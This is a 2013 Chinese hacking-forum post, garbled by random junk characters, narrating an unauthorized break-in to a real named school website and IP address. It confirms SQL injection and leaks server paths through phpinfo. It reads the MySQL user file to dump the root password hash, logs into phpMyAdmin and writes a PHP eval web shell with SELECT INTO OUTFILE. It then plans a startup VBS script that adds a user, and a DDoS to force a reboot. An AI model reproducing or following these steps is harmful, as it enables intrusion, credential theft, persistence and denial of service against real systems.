第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏6 I' O5 k. N9 B( p4 p
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3 -0 -1 判断后确认存在注入！
5 D; q, E) J, T( J V @3 ~" W8 U& ^# K5 D: P. G- i7 }
' v7 x ]- O @5 D
: A7 `* j; Z5 ~% W c+ e4 G常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
- k8 @# L4 K9 R) w* N" x6 Z* U3 R# p5 E2 S
那么想可以直接写入shell ，getshell有几个条件：* E& L# a6 Q4 ^
1、知道站点物理路径 2、有足够大的权限 3、magic_quotes_gpc()=OFF
( _7 K1 g5 K; E$ g: |; x5 o @! f3 X& a, P: A* Q
试着爆绝对路径：
( ? \: k; e5 k" M% \1 b! R- W1./phpMyAdmin/index.php?lang[]=1
6 \. P- T5 }0 w6 X7 i( Q" c$ T/ T% i2./phpMyAdmin/phpinfo.php
r% ?3 U8 L8 l: ?. Y! O- p3./load_file() 6 D( x9 Q% w1 P8 \+ C4 q2 O
4./phpmyadmin/themes/darkblue_orange/layout.inc.php
1 _+ g6 n& x2 Y, H) W5./phpmyadmin/libraries/select_lang.lib.php " ?6 s+ ?# f7 z' p) }9 p
6./phpmyadmin/libraries/lect_lang.lib.php
* i! \7 g# x! b; O7./phpmyadmin/libraries/mcrypt.lib.php 3 M6 d8 s$ a2 j7 Z4 ?% Q
8./phpmyadmin/libraries/export/xls.php
; w" d# B4 _4 w
% ~" T3 X1 b3 B* ?& u1 [9 k均不行...........................
" E8 f9 |9 t9 A$ o8 N9 R' z
& N, f; J( [) i# S" `) ^. b御剑扫到这个： http://www.dyyz.net.cn//phpinfo.php 获得网站路径：D:/www/phpinfo.php
: P$ a& V" v7 M, J9 P5 v. X; y
+ m* Y' J' I0 y9 e) C0 r权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin 4 p3 _) I% ^; P ^1 n
# }9 D) Z. J5 V, i W默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
, g3 f2 l$ c2 Y. ~" P7 p. D8 s7 N: S! J2 h0 A( \$ }& @
敏感东西： http://202.103.49.66/Admincp.php 社工进不去........... 2 ~( X: m6 `5 W2 \8 _
, l" T: q% O5 @7 y7 \0 | o' C想想root还可以读，读到root密码进phpmyadmin 也可以拿shell ! A/ N" I" V5 [8 Z" X
0 `( T& K$ [; ^$ W2 {" x) ?http://www.dyyz.net.cn//phpinfo.php 泄露了D:\phpStudy\PHP5\php.ini . e, e; x2 O4 h3 z9 @7 A1 B% f
; [; I0 M1 F0 v9 J1 M; z
自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
# w% k8 \: t6 i7 g/ v! D) v1 f( Z+ k* g- _+ @. c) o4 J6 n
成功读到root密码： 3 x3 g# o3 r5 J# l0 g
! T" F* z/ @9 b$ q' @& B17---- r(0072) 7 h8 i, W, [( m, C+ |6 h' j
18---- o(006f)
+ l7 A% l( M5 `/ H+ O; P4 w3 @19---- o(006f) % Z% `; w! A6 h% Y
20---- t(0074)
5 D6 @' X4 a$ _1 ~& w21---- *(002a) 6 I& v+ M0 _9 E
22---- 8(0038)
2 x6 Q) R& i& a5 g23---- 2(0032) 5 T$ d4 G/ E' n4 ?
24---- E(0045) $ _# N; S7 H7 Z) e" E
25---- 1(0031)
1 v& k& s9 \5 Y" {1 a4 {. ]26---- C(0043) T$ ?9 A: X/ f5 j+ I9 z% L
27---- 5(0035)
5 X7 g9 s8 W- z6 `8 e0 i0 [ f& K0 [28---- 8(0038)
9 t* _) n; R1 t3 B6 {! c29---- 2(0032) ; ?5 k0 {8 c; s
30---- 8(0038)
2 ]& d- Q+ F( p3 E1 u31---- A(0041) ' J5 |' C- `3 @7 c$ B1 K; f$ Z/ w
32---- 9(0039)
6 e1 c( D z: a2 O0 z1 `5 g1 q33---- B(0042) ) X; @( L$ [" x3 i O) l
34---- 5(0035) # [% y9 A8 M5 c
35---- 4(0034) * {7 F0 z7 l9 `
36---- 8(0038) 4 v9 a( a7 P2 e2 e
37---- 6(0036)
0 u: v% V( t, A38---- 4(0034) 0 `4 d4 i" q3 e6 O7 R. Y# P% P: |* D
39---- 9(0039) * Y' u6 l6 ]5 H9 ` S; K
40---- 1(0031)
( }- m$ b. j2 i# w* O41---- 1(0031) . X( L: C, L" }$ f
42---- 5(0035) , n# q$ H! d4 S( U/ E4 V& n
43---- 3(0033) % t* t$ N8 h! }( R7 n: z( `" t2 |
44---- 5(0035) . ^9 i, f1 y! T
45---- 9(0039)
R8 h0 b( H3 e7 F4 c5 F: K- E46---- 8(0038)
7 E! T* S4 ]0 p% S% e/ S/ D9 m47---- F(0046)
9 q% F) i: |1 Y o48---- F(0046) 0 l* r' z. `! n& C, Z- Z1 P4 p
49---- 4(0034)
3 q9 z) r9 _! s50---- F(0046) 4 d* [$ S: T4 ^- {# E, D ~( L
51---- 0(0030)
9 `& Y9 n3 x: ]" O2 e52---- 3(0033)
) H3 [% z: A- |& N3 X53---- 2(0032)
: f: d. P, o- h2 D" N54---- A(0041)
, v7 t. F7 G% Q55---- 4(0034)
6 L C: W6 J" }3 [1 f+ w! i56---- A(0041)
3 \, m7 j `: [' ]% y, m! |57---- B(0042) & J. J# v& V, K4 {5 P- X
58---- *(0044)
h1 @& M6 U+ d0 I, }' s59---- *(0035) 2 E- F3 E9 k7 V% i( @
60---- *(0041)
) A o s- _6 ?9 ^1 W61---- *0032) 4 c. W( M$ E) R3 L% W" u% T5 R
6 \) d* `0 x1 r. Q6 _ L7 b( b解密后成功登陆phpmyamin 5 z9 o8 a) U8 {8 f6 R* O+ x+ I
, Q: V$ A! a2 |3 e- g! E
# _7 h- G5 D! S, ]+ J
5 F. e: U l1 D! z# B. A; a- {, | q% O) e
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php' , `$ s; k& r2 L* T# G5 @( _
$ t9 ^+ H' }+ n$ k$ o3 k
成功执行，拿下shell，菜刀连接： ' B* \" B" ~, ?0 {. l
, D9 h- I2 D0 D' Q" G6 e
服务器不支持asp,aspx,php提权无果................... $ R8 G5 I* E& [$ y9 c, N+ q1 v
) D8 G: M5 f8 v( U% a$ Y' r但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里： $ _: Z8 ~" P; f0 q* ]% t
服务器上已经有个隐藏帐号了 4 X- o/ u0 X* T+ ]2 y
别名 administrators
" U) u( G& W! Y$ \注释 管理员对计算机/域有不受限制的完全访问权
, X X) ~( d7 v: e) p* s1 K成员 . c; ?0 F+ R! W) N$ E/ m
-------------------------------------------------------------------------------9 U: U! Y' }) u/ i! v3 b1 c. U& u
admin
3 z9 Q8 g# r) P( q% G6 t' NAdministrator
2 r" b3 Y& h- b6 O2 Y( Pslipper$
2 T, _+ q- E% [1 M+ q) ?- hsqluser& o- U3 I8 H4 i$ |/ U/ J: H
命令成功完成。 - P; i# Q' ~" q
) m8 d% O/ f# _+ x0 W5 G
服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。- U) u" w6 J7 p3 P1 M
( [: b+ Q k7 N9 i" F* Y) F
ddos服务器重启，不然就只能坐等服务器重启了...............................
1 j+ K4 r4 y5 ~7 Y. |
& ~' Z2 I0 P L' a! s' p " b8 j, n" V/ P! u4 U# Z
| 
发表于 2013-1-11 21:32:15
收藏
支持
反对
发表于 2013-5-20 15:28:12
